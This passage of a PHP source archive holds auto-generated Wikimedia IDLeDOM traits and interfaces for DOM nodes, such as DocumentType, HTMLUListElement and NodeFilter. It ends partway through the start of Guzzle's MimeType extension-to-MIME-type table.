	 */
	abstract protected function _getMissingProp( string $prop );

	/**
	 * Handle an attempt to set a non-existing property on this
	 * object.  The default implementation raises an exception
	 * but the implementor can choose a different behavior:
	 * ignore the operation (like JavaScript), dynamically create
	 * the property, etc.
	 * @param string $prop the name of the property requested
	 * @param mixed $value the value to set
	 */
	abstract protected function _setMissingProp( string $prop, $value ): void;

	// phpcs:enable

	/**
	 * @param string $name
	 * @return mixed
	 */
	public function __get( string $name ) {
		'@phan-var \Wikimedia\IDLeDOM\DocumentType $this';
		// @var \Wikimedia\IDLeDOM\DocumentType $this
		switch ( $name ) {
			case "nodeType":
				return $this->getNodeType();
			case "nodeName":
				return $this->getNodeName();
			case "baseURI":
				return $this->getBaseURI();
			case "isConnected":
				return $this->getIsConnected();
			case "ownerDocument":
				return $this->getOwnerDocument();
			case "parentNode":
				return $this->getParentNode();
			case "parentElement":
				return $this->getParentElement();
			case "childNodes":
				return $this->getChildNodes();
			case "firstChild":
				return $this->getFirstChild();
			case "lastChild":
				return $this->getLastChild();
			case "previousSibling":
				return $this->getPreviousSibling();
			case "nextSibling":
				return $this->getNextSibling();
			case "nodeValue":
				return $this->getNodeValue();
			case "textContent":
				return $this->getTextContent();
			case "name":
				return $this->getName();
			case "publicId":
				return $this->getPublicId();
			case "systemId":
				return $this->getSystemId();
			default:
				break;
		}
		'@phan-var \Wikimedia\IDLeDOM\Helper\DocumentType $this';
		// @var \Wikimedia\IDLeDOM\Helper\DocumentType $this
		return $this->_getMissingProp( $name );
	}

	/**
	 * @param string $name
	 * @return bool
	 */
	public function __isset( string $name ): bool {
		'@phan-var \Wikimedia\IDLeDOM\DocumentType $this';
		// @var \Wikimedia\IDLeDOM\DocumentType $this
		switch ( $name ) {
			case "nodeType":
				return true;
			case "nodeName":
				return true;
			case "baseURI":
				return true;
			case "isConnected":
				return true;
			case "ownerDocument":
				return $this->getOwnerDocument() !== null;
			case "parentNode":
				return $this->getParentNode() !== null;
			case "parentElement":
				return $this->getParentElement() !== null;
			case "childNodes":
				return true;
			case "firstChild":
				return $this->getFirstChild() !== null;
			case "lastChild":
				return $this->getLastChild() !== null;
			case "previousSibling":
				return $this->getPreviousSibling() !== null;
			case "nextSibling":
				return $this->getNextSibling() !== null;
			case "nodeValue":
				return $this->getNodeValue() !== null;
			case "textContent":
				return $this->getTextContent() !== null;
			case "name":
				return true;
			case "publicId":
				return true;
			case "systemId":
				return true;
			default:
				break;
		}
		return false;
	}

	/**
	 * @param string $name
	 * @param mixed $value
	 */
	public function __set( string $name, $value ): void {
		'@phan-var \Wikimedia\IDLeDOM\DocumentType $this';
		// @var \Wikimedia\IDLeDOM\DocumentType $this
		switch ( $name ) {
			case "nodeValue":
				$this->setNodeValue( $value );
				return;
			case "textContent":
				$this->setTextContent( $value );
				return;
			default:
				break;
		}
		'@phan-var \Wikimedia\IDLeDOM\Helper\DocumentType $this';
		// @var \Wikimedia\IDLeDOM\Helper\DocumentType $this
		$this->_setMissingProp( $name, $value );
	}

	/**
	 * @param string $name
	 */
	public function __unset( string $name ): void {
		'@phan-var \Wikimedia\IDLeDOM\DocumentType $this';
		// @var \Wikimedia\IDLeDOM\DocumentType $this
		switch ( $name ) {
			case "nodeType":
				break;
			case "nodeName":
				break;
			case "baseURI":
				break;
			case "isConnected":
				break;
			case "ownerDocument":
				break;
			case "parentNode":
				break;
			case "parentElement":
				break;
			case "childNodes":
				break;
			case "firstChild":
				break;
			case "lastChild":
				break;
			case "previousSibling":
				break;
			case "nextSibling":
				break;
			case "nodeValue":
				$this->setNodeValue( null );
				return;
			case "textContent":
				$this->setTextContent( null );
				return;
			case "name":
				break;
			case "publicId":
				break;
			case "systemId":
				break;
			default:
				return;
		}
		$trace = debug_backtrace();
		while (
			count( $trace ) > 0 &&
			$trace[0]['function'] !== "__unset"
		) {
			array_shift( $trace );
		}
		trigger_error(
			'Undefined property' .
			' via ' . ( $trace[0]['function'] ?? '' ) . '(): ' . $name .
			' in ' . ( $trace[0]['file'] ?? '' ) .
			' on line ' . ( $trace[0]['line'] ?? '' ),
			E_USER_NOTICE
		);
	}

}
Helper/NonDocumentTypeChildNode.php000066600000003653151335077250013364 0ustar00<?php

// AUTOMATICALLY GENERATED.  DO NOT EDIT.
// Use `composer build` to regenerate.

namespace Wikimedia\IDLeDOM\Helper;

trait NonDocumentTypeChildNode {

	// Underscore is used to avoid conflicts with DOM-reserved names
	// phpcs:disable PSR2.Methods.MethodDeclaration.Underscore
	// phpcs:disable MediaWiki.NamingConventions.LowerCamelFunctionsName.FunctionName

	/**
	 * Handle an attempt to get a non-existing property on this
	 * object.  The default implementation raises an exception
	 * but the implementor can choose a different behavior:
	 * return null (like JavaScript), dynamically create the
	 * property, etc.
	 * @param string $prop the name of the property requested
	 * @return mixed
	 */
	protected function _getMissingProp( string $prop ) {
		$trace = debug_backtrace();
		while (
			count( $trace ) > 0 &&
			$trace[0]['function'] !== "__get"
		) {
			array_shift( $trace );
		}
		trigger_error(
			'Undefined property' .
			' via ' . ( $trace[0]['function'] ?? '' ) . '(): ' . $prop .
			' in ' . ( $trace[0]['file'] ?? '' ) .
			' on line ' . ( $trace[0]['line'] ?? '' ),
			E_USER_NOTICE
		);
		return null;
	}

	/**
	 * Handle an attempt to set a non-existing property on this
	 * object.  The default implementation raises an exception
	 * but the implementor can choose a different behavior:
	 * ignore the operation (like JavaScript), dynamically create
	 * the property, etc.
	 * @param string $prop the name of the property requested
	 * @param mixed $value the value to set
	 */
	protected function _setMissingProp( string $prop, $value ): void {
		$trace = debug_backtrace();
		while (
			count( $trace ) > 0 &&
			$trace[0]['function'] !== "__set"
		) {
			array_shift( $trace );
		}
		trigger_error(
			'Undefined property' .
			' via ' . ( $trace[0]['function'] ?? '' ) . '(): ' . $prop .
			' in ' . ( $trace[0]['file'] ?? '' ) .
			' on line ' . ( $trace[0]['line'] ?? '' ),
			E_USER_NOTICE
		);
	}

	// phpcs:enable

}
Helper/HTMLUListElement.php000066600000033223151335077250011552 0ustar00<?php

// AUTOMATICALLY GENERATED.  DO NOT EDIT.
// Use `composer build` to regenerate.

namespace Wikimedia\IDLeDOM\Helper;

trait HTMLUListElement {

	// Underscore is used to avoid conflicts with DOM-reserved names
	// phpcs:disable PSR2.Methods.MethodDeclaration.Underscore
	// phpcs:disable MediaWiki.NamingConventions.LowerCamelFunctionsName.FunctionName

	/**
	 * Handle an attempt to get a non-existing property on this
	 * object.  The default implementation raises an exception
	 * but the implementor can choose a different behavior:
	 * return null (like JavaScript), dynamically create the
	 * property, etc.
	 * @param string $prop the name of the property requested
	 * @return mixed
	 */
	abstract protected function _getMissingProp( string $prop );

	/**
	 * Handle an attempt to set a non-existing property on this
	 * object.  The default implementation raises an exception
	 * but the implementor can choose a different behavior:
	 * ignore the operation (like JavaScript), dynamically create
	 * the property, etc.
	 * @param string $prop the name of the property requested
	 * @param mixed $value the value to set
	 */
	abstract protected function _setMissingProp( string $prop, $value ): void;

	// phpcs:enable

	/**
	 * @param string $name
	 * @return mixed
	 */
	public function __get( string $name ) {
		'@phan-var \Wikimedia\IDLeDOM\HTMLUListElement $this';
		// @var \Wikimedia\IDLeDOM\HTMLUListElement $this
		switch ( $name ) {
			case "nodeType":
				return $this->getNodeType();
			case "nodeName":
				return $this->getNodeName();
			case "baseURI":
				return $this->getBaseURI();
			case "isConnected":
				return $this->getIsConnected();
			case "ownerDocument":
				return $this->getOwnerDocument();
			case "parentNode":
				return $this->getParentNode();
			case "parentElement":
				return $this->getParentElement();
			case "childNodes":
				return $this->getChildNodes();
			case "firstChild":
				return $this->getFirstChild();
			case "lastChild":
				return $this->getLastChild();
			case "previousSibling":
				return $this->getPreviousSibling();
			case "nextSibling":
				return $this->getNextSibling();
			case "nodeValue":
				return $this->getNodeValue();
			case "textContent":
				return $this->getTextContent();
			case "innerHTML":
				return $this->getInnerHTML();
			case "previousElementSibling":
				return $this->getPreviousElementSibling();
			case "nextElementSibling":
				return $this->getNextElementSibling();
			case "children":
				return $this->getChildren();
			case "firstElementChild":
				return $this->getFirstElementChild();
			case "lastElementChild":
				return $this->getLastElementChild();
			case "childElementCount":
				return $this->getChildElementCount();
			case "assignedSlot":
				return $this->getAssignedSlot();
			case "namespaceURI":
				return $this->getNamespaceURI();
			case "prefix":
				return $this->getPrefix();
			case "localName":
				return $this->getLocalName();
			case "tagName":
				return $this->getTagName();
			case "id":
				return $this->getId();
			case "className":
				return $this->getClassName();
			case "classList":
				return $this->getClassList();
			case "slot":
				return $this->getSlot();
			case "attributes":
				return $this->getAttributes();
			case "shadowRoot":
				return $this->getShadowRoot();
			case "outerHTML":
				return $this->getOuterHTML();
			case "style":
				return $this->getStyle();
			case "contentEditable":
				return $this->getContentEditable();
			case "enterKeyHint":
				return $this->getEnterKeyHint();
			case "isContentEditable":
				return $this->getIsContentEditable();
			case "inputMode":
				return $this->getInputMode();
			case "onload":
				return $this->getOnload();
			case "dataset":
				return $this->getDataset();
			case "nonce":
				return $this->getNonce();
			case "tabIndex":
				return $this->getTabIndex();
			case "title":
				return $this->getTitle();
			case "lang":
				return $this->getLang();
			case "translate":
				return $this->getTranslate();
			case "dir":
				return $this->getDir();
			case "hidden":
				return $this->getHidden();
			case "accessKey":
				return $this->getAccessKey();
			case "accessKeyLabel":
				return $this->getAccessKeyLabel();
			case "draggable":
				return $this->getDraggable();
			case "spellcheck":
				return $this->getSpellcheck();
			case "autocapitalize":
				return $this->getAutocapitalize();
			case "innerText":
				return $this->getInnerText();
			case "offsetParent":
				return $this->getOffsetParent();
			case "offsetTop":
				return $this->getOffsetTop();
			case "offsetLeft":
				return $this->getOffsetLeft();
			case "offsetWidth":
				return $this->getOffsetWidth();
			case "offsetHeight":
				return $this->getOffsetHeight();
			case "compact":
				return $this->getCompact();
			case "type":
				return $this->getType();
			default:
				break;
		}
		'@phan-var \Wikimedia\IDLeDOM\Helper\HTMLUListElement $this';
		// @var \Wikimedia\IDLeDOM\Helper\HTMLUListElement $this
		return $this->_getMissingProp( $name );
	}

	/**
	 * @param string $name
	 * @return bool
	 */
	public function __isset( string $name ): bool {
		'@phan-var \Wikimedia\IDLeDOM\HTMLUListElement $this';
		// @var \Wikimedia\IDLeDOM\HTMLUListElement $this
		switch ( $name ) {
			case "nodeType":
				return true;
			case "nodeName":
				return true;
			case "baseURI":
				return true;
			case "isConnected":
				return true;
			case "ownerDocument":
				return $this->getOwnerDocument() !== null;
			case "parentNode":
				return $this->getParentNode() !== null;
			case "parentElement":
				return $this->getParentElement() !== null;
			case "childNodes":
				return true;
			case "firstChild":
				return $this->getFirstChild() !== null;
			case "lastChild":
				return $this->getLastChild() !== null;
			case "previousSibling":
				return $this->getPreviousSibling() !== null;
			case "nextSibling":
				return $this->getNextSibling() !== null;
			case "nodeValue":
				return $this->getNodeValue() !== null;
			case "textContent":
				return $this->getTextContent() !== null;
			case "innerHTML":
				return true;
			case "previousElementSibling":
				return $this->getPreviousElementSibling() !== null;
			case "nextElementSibling":
				return $this->getNextElementSibling() !== null;
			case "children":
				return true;
			case "firstElementChild":
				return $this->getFirstElementChild() !== null;
			case "lastElementChild":
				return $this->getLastElementChild() !== null;
			case "childElementCount":
				return true;
			case "assignedSlot":
				return $this->getAssignedSlot() !== null;
			case "namespaceURI":
				return $this->getNamespaceURI() !== null;
			case "prefix":
				return $this->getPrefix() !== null;
			case "localName":
				return true;
			case "tagName":
				return true;
			case "id":
				return true;
			case "className":
				return true;
			case "classList":
				return true;
			case "slot":
				return true;
			case "attributes":
				return true;
			case "shadowRoot":
				return $this->getShadowRoot() !== null;
			case "outerHTML":
				return true;
			case "style":
				return true;
			case "contentEditable":
				return true;
			case "enterKeyHint":
				return true;
			case "isContentEditable":
				return true;
			case "inputMode":
				return true;
			case "onload":
				return true;
			case "dataset":
				return true;
			case "nonce":
				return true;
			case "tabIndex":
				return true;
			case "title":
				return true;
			case "lang":
				return true;
			case "translate":
				return true;
			case "dir":
				return true;
			case "hidden":
				return true;
			case "accessKey":
				return true;
			case "accessKeyLabel":
				return true;
			case "draggable":
				return true;
			case "spellcheck":
				return true;
			case "autocapitalize":
				return true;
			case "innerText":
				return true;
			case "offsetParent":
				return $this->getOffsetParent() !== null;
			case "offsetTop":
				return true;
			case "offsetLeft":
				return true;
			case "offsetWidth":
				return true;
			case "offsetHeight":
				return true;
			case "compact":
				return true;
			case "type":
				return true;
			default:
				break;
		}
		return false;
	}

	/**
	 * @param string $name
	 * @param mixed $value
	 */
	public function __set( string $name, $value ): void {
		'@phan-var \Wikimedia\IDLeDOM\HTMLUListElement $this';
		// @var \Wikimedia\IDLeDOM\HTMLUListElement $this
		switch ( $name ) {
			case "nodeValue":
				$this->setNodeValue( $value );
				return;
			case "textContent":
				$this->setTextContent( $value );
				return;
			case "innerHTML":
				$this->setInnerHTML( $value );
				return;
			case "id":
				$this->setId( $value );
				return;
			case "className":
				$this->setClassName( $value );
				return;
			case "classList":
				$this->setClassList( $value );
				return;
			case "slot":
				$this->setSlot( $value );
				return;
			case "outerHTML":
				$this->setOuterHTML( $value );
				return;
			case "style":
				$this->setStyle( $value );
				return;
			case "contentEditable":
				$this->setContentEditable( $value );
				return;
			case "enterKeyHint":
				$this->setEnterKeyHint( $value );
				return;
			case "inputMode":
				$this->setInputMode( $value );
				return;
			case "onload":
				$this->setOnload( $value );
				return;
			case "nonce":
				$this->setNonce( $value );
				return;
			case "tabIndex":
				$this->setTabIndex( $value );
				return;
			case "title":
				$this->setTitle( $value );
				return;
			case "lang":
				$this->setLang( $value );
				return;
			case "translate":
				$this->setTranslate( $value );
				return;
			case "dir":
				$this->setDir( $value );
				return;
			case "hidden":
				$this->setHidden( $value );
				return;
			case "accessKey":
				$this->setAccessKey( $value );
				return;
			case "draggable":
				$this->setDraggable( $value );
				return;
			case "spellcheck":
				$this->setSpellcheck( $value );
				return;
			case "autocapitalize":
				$this->setAutocapitalize( $value );
				return;
			case "innerText":
				$this->setInnerText( $value );
				return;
			case "compact":
				$this->setCompact( $value );
				return;
			case "type":
				$this->setType( $value );
				return;
			default:
				break;
		}
		'@phan-var \Wikimedia\IDLeDOM\Helper\HTMLUListElement $this';
		// @var \Wikimedia\IDLeDOM\Helper\HTMLUListElement $this
		$this->_setMissingProp( $name, $value );
	}

	/**
	 * @param string $name
	 */
	public function __unset( string $name ): void {
		'@phan-var \Wikimedia\IDLeDOM\HTMLUListElement $this';
		// @var \Wikimedia\IDLeDOM\HTMLUListElement $this
		switch ( $name ) {
			case "nodeType":
				break;
			case "nodeName":
				break;
			case "baseURI":
				break;
			case "isConnected":
				break;
			case "ownerDocument":
				break;
			case "parentNode":
				break;
			case "parentElement":
				break;
			case "childNodes":
				break;
			case "firstChild":
				break;
			case "lastChild":
				break;
			case "previousSibling":
				break;
			case "nextSibling":
				break;
			case "nodeValue":
				$this->setNodeValue( null );
				return;
			case "textContent":
				$this->setTextContent( null );
				return;
			case "innerHTML":
				break;
			case "previousElementSibling":
				break;
			case "nextElementSibling":
				break;
			case "children":
				break;
			case "firstElementChild":
				break;
			case "lastElementChild":
				break;
			case "childElementCount":
				break;
			case "assignedSlot":
				break;
			case "namespaceURI":
				break;
			case "prefix":
				break;
			case "localName":
				break;
			case "tagName":
				break;
			case "id":
				break;
			case "className":
				break;
			case "classList":
				break;
			case "slot":
				break;
			case "attributes":
				break;
			case "shadowRoot":
				break;
			case "outerHTML":
				break;
			case "style":
				break;
			case "contentEditable":
				break;
			case "enterKeyHint":
				break;
			case "isContentEditable":
				break;
			case "inputMode":
				break;
			case "onload":
				break;
			case "dataset":
				break;
			case "nonce":
				break;
			case "tabIndex":
				break;
			case "title":
				break;
			case "lang":
				break;
			case "translate":
				break;
			case "dir":
				break;
			case "hidden":
				break;
			case "accessKey":
				break;
			case "accessKeyLabel":
				break;
			case "draggable":
				break;
			case "spellcheck":
				break;
			case "autocapitalize":
				break;
			case "innerText":
				break;
			case "offsetParent":
				break;
			case "offsetTop":
				break;
			case "offsetLeft":
				break;
			case "offsetWidth":
				break;
			case "offsetHeight":
				break;
			case "compact":
				break;
			case "type":
				break;
			default:
				return;
		}
		$trace = debug_backtrace();
		while (
			count( $trace ) > 0 &&
			$trace[0]['function'] !== "__unset"
		) {
			array_shift( $trace );
		}
		trigger_error(
			'Undefined property' .
			' via ' . ( $trace[0]['function'] ?? '' ) . '(): ' . $name .
			' in ' . ( $trace[0]['file'] ?? '' ) .
			' on line ' . ( $trace[0]['line'] ?? '' ),
			E_USER_NOTICE
		);
	}

	/**
	 * @return bool
	 */
	public function getCompact(): bool {
		'@phan-var \Wikimedia\IDLeDOM\Element $this';
		// @var \Wikimedia\IDLeDOM\Element $this
		return $this->hasAttribute( 'compact' );
	}

	/**
	 * @param bool $val
	 */
	public function setCompact( bool $val ): void {
		'@phan-var \Wikimedia\IDLeDOM\Element $this';
		// @var \Wikimedia\IDLeDOM\Element $this
		if ( $val ) {
			$this->setAttribute( 'compact', '' );
		} else {
			$this->removeAttribute( 'compact' );
		}
	}

	/**
	 * @return string
	 */
	public function getType(): string {
		'@phan-var \Wikimedia\IDLeDOM\Element $this';
		// @var \Wikimedia\IDLeDOM\Element $this
		return $this->getAttribute( 'type' ) ?? '';
	}

	/**
	 * @param string $val
	 */
	public function setType( string $val ): void {
		'@phan-var \Wikimedia\IDLeDOM\Element $this';
		// @var \Wikimedia\IDLeDOM\Element $this
		$this->setAttribute( 'type', $val );
	}

}
TypeError.php000066600000000513151335077250007223 0ustar00<?php

// AUTOMATICALLY GENERATED.  DO NOT EDIT.
// Use `composer build` to regenerate.

namespace Wikimedia\IDLeDOM;

/**
 * TypeError
 *
 * @see https://dom.spec.whatwg.org/#interface-typeerror
 *
 * @phan-forbid-undeclared-magic-properties
 */
interface TypeError extends SimpleException {
	// Direct parent: SimpleException

}
EventListener.php000066600000000613151335077250010060 0ustar00<?php

// AUTOMATICALLY GENERATED.  DO NOT EDIT.
// Use `composer build` to regenerate.

namespace Wikimedia\IDLeDOM;

/**
 * EventListener
 *
 * @see https://dom.spec.whatwg.org/#callbackdef-eventlistener
 *
 * @phan-forbid-undeclared-magic-properties
 */
interface EventListener {
	/**
	 * @param Event $event
	 * @return void
	 */
	public function handleEvent( /* Event */ $event ): void;

}
HTMLOListElement.php000066600000005672151335077250010334 0ustar00<?php

// AUTOMATICALLY GENERATED.  DO NOT EDIT.
// Use `composer build` to regenerate.

namespace Wikimedia\IDLeDOM;

/**
 * HTMLOListElement
 *
 * @see https://dom.spec.whatwg.org/#interface-htmlolistelement
 *
 * @property int $nodeType
 * @property string $nodeName
 * @property string $baseURI
 * @property bool $isConnected
 * @property Document|null $ownerDocument
 * @property Node|null $parentNode
 * @property Element|null $parentElement
 * @property NodeList $childNodes
 * @property Node|null $firstChild
 * @property Node|null $lastChild
 * @property Node|null $previousSibling
 * @property Node|null $nextSibling
 * @property ?string $nodeValue
 * @property ?string $textContent
 * @property string $innerHTML
 * @property Element|null $previousElementSibling
 * @property Element|null $nextElementSibling
 * @property HTMLCollection $children
 * @property Element|null $firstElementChild
 * @property Element|null $lastElementChild
 * @property int $childElementCount
 * @property HTMLSlotElement|null $assignedSlot
 * @property ?string $namespaceURI
 * @property ?string $prefix
 * @property string $localName
 * @property string $tagName
 * @property string $id
 * @property string $className
 * @property DOMTokenList $classList
 * @property string $slot
 * @property NamedNodeMap $attributes
 * @property ShadowRoot|null $shadowRoot
 * @property string $outerHTML
 * @property CSSStyleDeclaration $style
 * @property string $contentEditable
 * @property string $enterKeyHint
 * @property bool $isContentEditable
 * @property string $inputMode
 * @property EventHandlerNonNull|callable|null $onload
 * @property DOMStringMap $dataset
 * @property string $nonce
 * @property int $tabIndex
 * @property string $title
 * @property string $lang
 * @property bool $translate
 * @property string $dir
 * @property bool $hidden
 * @property string $accessKey
 * @property string $accessKeyLabel
 * @property bool $draggable
 * @property bool $spellcheck
 * @property string $autocapitalize
 * @property string $innerText
 * @property Element|null $offsetParent
 * @property int $offsetTop
 * @property int $offsetLeft
 * @property int $offsetWidth
 * @property int $offsetHeight
 * @property bool $reversed
 * @property int $start
 * @property string $type
 * @property bool $compact
 * @phan-forbid-undeclared-magic-properties
 */
interface HTMLOListElement extends HTMLElement {
	// Direct parent: HTMLElement

	/**
	 * @return bool
	 */
	public function getReversed(): bool;

	/**
	 * @param bool $val
	 */
	public function setReversed( bool $val ): void;

	/**
	 * @return int
	 */
	public function getStart(): int;

	/**
	 * @param int $val
	 */
	public function setStart( int $val ): void;

	/**
	 * @return string
	 */
	public function getType(): string;

	/**
	 * @param string $val
	 */
	public function setType( string $val ): void;

	/**
	 * @return bool
	 */
	public function getCompact(): bool;

	/**
	 * @param bool $val
	 */
	public function setCompact( bool $val ): void;

}
NonDocumentTypeChildNode.php000066600000001074151335077250012140 0ustar00<?php

// AUTOMATICALLY GENERATED.  DO NOT EDIT.
// Use `composer build` to regenerate.

namespace Wikimedia\IDLeDOM;

/**
 * NonDocumentTypeChildNode
 *
 * @see https://dom.spec.whatwg.org/#interface-nondocumenttypechildnode
 *
 * @property Element|null $previousElementSibling
 * @property Element|null $nextElementSibling
 * @phan-forbid-undeclared-magic-properties
 */
interface NonDocumentTypeChildNode {
	/**
	 * @return Element|null
	 */
	public function getPreviousElementSibling();

	/**
	 * @return Element|null
	 */
	public function getNextElementSibling();

}
NodeFilter.php000066600000002326151335077250007327 0ustar00<?php

// AUTOMATICALLY GENERATED.  DO NOT EDIT.
// Use `composer build` to regenerate.

namespace Wikimedia\IDLeDOM;

/**
 * NodeFilter
 *
 * @see https://dom.spec.whatwg.org/#callbackdef-nodefilter
 *
 * @phan-forbid-undeclared-magic-properties
 */
interface NodeFilter {
	/** @var int */
	public const FILTER_ACCEPT = 1;

	/** @var int */
	public const FILTER_REJECT = 2;

	/** @var int */
	public const FILTER_SKIP = 3;

	/** @var int */
	public const SHOW_ALL = -1;

	/** @var int */
	public const SHOW_ELEMENT = 1;

	/** @var int */
	public const SHOW_ATTRIBUTE = 2;

	/** @var int */
	public const SHOW_TEXT = 4;

	/** @var int */
	public const SHOW_CDATA_SECTION = 8;

	/** @var int */
	public const SHOW_ENTITY_REFERENCE = 16;

	/** @var int */
	public const SHOW_ENTITY = 32;

	/** @var int */
	public const SHOW_PROCESSING_INSTRUCTION = 64;

	/** @var int */
	public const SHOW_COMMENT = 128;

	/** @var int */
	public const SHOW_DOCUMENT = 256;

	/** @var int */
	public const SHOW_DOCUMENT_TYPE = 512;

	/** @var int */
	public const SHOW_DOCUMENT_FRAGMENT = 1024;

	/** @var int */
	public const SHOW_NOTATION = 2048;

	/**
	 * @param Node $node
	 * @return int
	 */
	public function acceptNode( /* Node */ $node ): int;

}
MimeType.php000066600000151630151335100060007012 0ustar00<?php

declare(strict_types=1);

namespace GuzzleHttp\Psr7;

final class MimeType
{
    private const MIME_TYPES = [
        '1km' => 'application/vnd.1000minds.decision-model+xml',
        '3dml' => 'text/vnd.in3d.3dml',
        '3ds' => 'image/x-3ds',
        '3g2' => 'video/3gpp2',
        '3gp' => 'video/3gp',
        '3gpp' => 'video/3gpp',
        '3mf' => 'model/3mf',
        '7z' => 'application/x-7z-compressed',
        '7zip' => 'application/x-7z-compressed',
        '123' => 'application/vnd.lotus-1-2-3',
        'aab' => 'application/x-authorware-bin',
        'aac' => 'audio/x-acc',
        'aam' => 'application/x-authorware-map',
        'aas' => 'application/x-authorware-seg',
        'abw' => 'application/x-abiword',
        'ac' => 'application/vnd.nokia.n-gage.ac+xml',
        'ac3' => 'audio/ac3',
        'acc' => 'application/vnd.americandynamics.acc',
        'ace' => 'application/x-ace-compressed',
        'acu' => 'application/vnd.acucobol',
        'acutc' => 'application/vnd.acucorp',
        'adp' => 'audio/adpcm',
        'aep' => 'application/vnd.audiograph',
        'afm' => 'application/x-font-type1',
        'afp' => 'application/vnd.ibm.modcap',
        'age' => 'application/vnd.age',
        'ahead' => 'application/vnd.ahead.space',
        'ai' => 'application/pdf',
        'aif' => 'audio/x-aiff',
        'aifc' => 'audio/x-aiff',
        'aiff' => 'audio/x-aiff',
        'air' => 'application/vnd.adobe.air-application-installer-package+zip',
        'ait' => 'application/vnd.dvb.ait',
        'ami' => 'application/vnd.amiga.ami',
        'amr' => 'audio/amr',
        'apk' => 'application/vnd.android.package-archive',
        'apng' => 'image/apng',
        'appcache' => 'text/cache-manifest',
        'application' => 'application/x-ms-application',
        'apr' => 'application/vnd.lotus-approach',
        'arc' => 'application/x-freearc',
        'arj' => 'application/x-arj',
        'asc' => 'application/pgp-signature',
        'asf' => 'video/x-ms-asf',
        'asm' => 'text/x-asm',
        'aso' => 'application/vnd.accpac.simply.aso',
        'asx' => 'video/x-ms-asf',
        'atc' => 'application/vnd.acucorp',
        'atom' => 'application/atom+xml',
        'atomcat' => 'application/atomcat+xml',
        'atomdeleted' => 'application/atomdeleted+xml',
        'atomsvc' => 'application/atomsvc+xml',
        'atx' => 'application/vnd.antix.game-component',
        'au' => 'audio/x-au',
        'avci' => 'image/avci',
        'avcs' => 'image/avcs',
        'avi' => 'video/x-msvideo',
        'avif' => 'image/avif',
        'aw' => 'application/applixware',
        'azf' => 'application/vnd.airzip.filesecure.azf',
        'azs' => 'application/vnd.airzip.filesecure.azs',
        'azv' => 'image/vnd.airzip.accelerator.azv',
        'azw' => 'application/vnd.amazon.ebook',
        'b16' => 'image/vnd.pco.b16',
        'bat' => 'application/x-msdownload',
        'bcpio' => 'application/x-bcpio',
        'bdf' => 'application/x-font-bdf',
        'bdm' => 'application/vnd.syncml.dm+wbxml',
        'bdoc' => 'application/x-bdoc',
        'bed' => 'application/vnd.realvnc.bed',
        'bh2' => 'application/vnd.fujitsu.oasysprs',
        'bin' => 'application/octet-stream',
        'blb' => 'application/x-blorb',
        'blorb' => 'application/x-blorb',
        'bmi' => 'application/vnd.bmi',
        'bmml' => 'application/vnd.balsamiq.bmml+xml',
        'bmp' => 'image/bmp',
        'book' => 'application/vnd.framemaker',
        'box' => 'application/vnd.previewsystems.box',
        'boz' => 'application/x-bzip2',
        'bpk' => 'application/octet-stream',
        'bpmn' => 'application/octet-stream',
        'bsp' => 'model/vnd.valve.source.compiled-map',
        'btif' => 'image/prs.btif',
        'buffer' => 'application/octet-stream',
        'bz' => 'application/x-bzip',
        'bz2' => 'application/x-bzip2',
        'c' => 'text/x-c',
        'c4d' => 'application/vnd.clonk.c4group',
        'c4f' => 'application/vnd.clonk.c4group',
        'c4g' => 'application/vnd.clonk.c4group',
        'c4p' => 'application/vnd.clonk.c4group',
        'c4u' => 'application/vnd.clonk.c4group',
        'c11amc' => 'application/vnd.cluetrust.cartomobile-config',
        'c11amz' => 'application/vnd.cluetrust.cartomobile-config-pkg',
        'cab' => 'application/vnd.ms-cab-compressed',
        'caf' => 'audio/x-caf',
        'cap' => 'application/vnd.tcpdump.pcap',
        'car' => 'application/vnd.curl.car',
        'cat' => 'application/vnd.ms-pki.seccat',
        'cb7' => 'application/x-cbr',
        'cba' => 'application/x-cbr',
        'cbr' => 'application/x-cbr',
        'cbt' => 'application/x-cbr',
        'cbz' => 'application/x-cbr',
        'cc' => 'text/x-c',
        'cco' => 'application/x-cocoa',
        'cct' => 'application/x-director',
        'ccxml' => 'application/ccxml+xml',
        'cdbcmsg' => 'application/vnd.contact.cmsg',
        'cdf' => 'application/x-netcdf',
        'cdfx' => 'application/cdfx+xml',
        'cdkey' => 'application/vnd.mediastation.cdkey',
        'cdmia' => 'application/cdmi-capability',
        'cdmic' => 'application/cdmi-container',
        'cdmid' => 'application/cdmi-domain',
        'cdmio' => 'application/cdmi-object',
        'cdmiq' => 'application/cdmi-queue',
        'cdr' => 'application/cdr',
        'cdx' => 'chemical/x-cdx',
        'cdxml' => 'application/vnd.chemdraw+xml',
        'cdy' => 'application/vnd.cinderella',
        'cer' => 'application/pkix-cert',
        'cfs' => 'application/x-cfs-compressed',
        'cgm' => 'image/cgm',
        'chat' => 'application/x-chat',
        'chm' => 'application/vnd.ms-htmlhelp',
        'chrt' => 'application/vnd.kde.kchart',
        'cif' => 'chemical/x-cif',
        'cii' => 'application/vnd.anser-web-certificate-issue-initiation',
        'cil' => 'application/vnd.ms-artgalry',
        'cjs' => 'application/node',
        'cla' => 'application/vnd.claymore',
        'class' => 'application/octet-stream',
        'clkk' => 'application/vnd.crick.clicker.keyboard',
        'clkp' => 'application/vnd.crick.clicker.palette',
        'clkt' => 'application/vnd.crick.clicker.template',
        'clkw' => 'application/vnd.crick.clicker.wordbank',
        'clkx' => 'application/vnd.crick.clicker',
        'clp' => 'application/x-msclip',
        'cmc' => 'application/vnd.cosmocaller',
        'cmdf' => 'chemical/x-cmdf',
        'cml' => 'chemical/x-cml',
        'cmp' => 'application/vnd.yellowriver-custom-menu',
        'cmx' => 'image/x-cmx',
        'cod' => 'application/vnd.rim.cod',
        'coffee' => 'text/coffeescript',
        'com' => 'application/x-msdownload',
        'conf' => 'text/plain',
        'cpio' => 'application/x-cpio',
        'cpl' => 'application/cpl+xml',
        'cpp' => 'text/x-c',
        'cpt' => 'application/mac-compactpro',
        'crd' => 'application/x-mscardfile',
        'crl' => 'application/pkix-crl',
        'crt' => 'application/x-x509-ca-cert',
        'crx' => 'application/x-chrome-extension',
        'cryptonote' => 'application/vnd.rig.cryptonote',
        'csh' => 'application/x-csh',
        'csl' => 'application/vnd.citationstyles.style+xml',
        'csml' => 'chemical/x-csml',
        'csp' => 'application/vnd.commonspace',
        'csr' => 'application/octet-stream',
        'css' => 'text/css',
        'cst' => 'application/x-director',
        'csv' => 'text/csv',
        'cu' => 'application/cu-seeme',
        'curl' => 'text/vnd.curl',
        'cww' => 'application/prs.cww',
        'cxt' => 'application/x-director',
        'cxx' => 'text/x-c',
        'dae' => 'model/vnd.collada+xml',
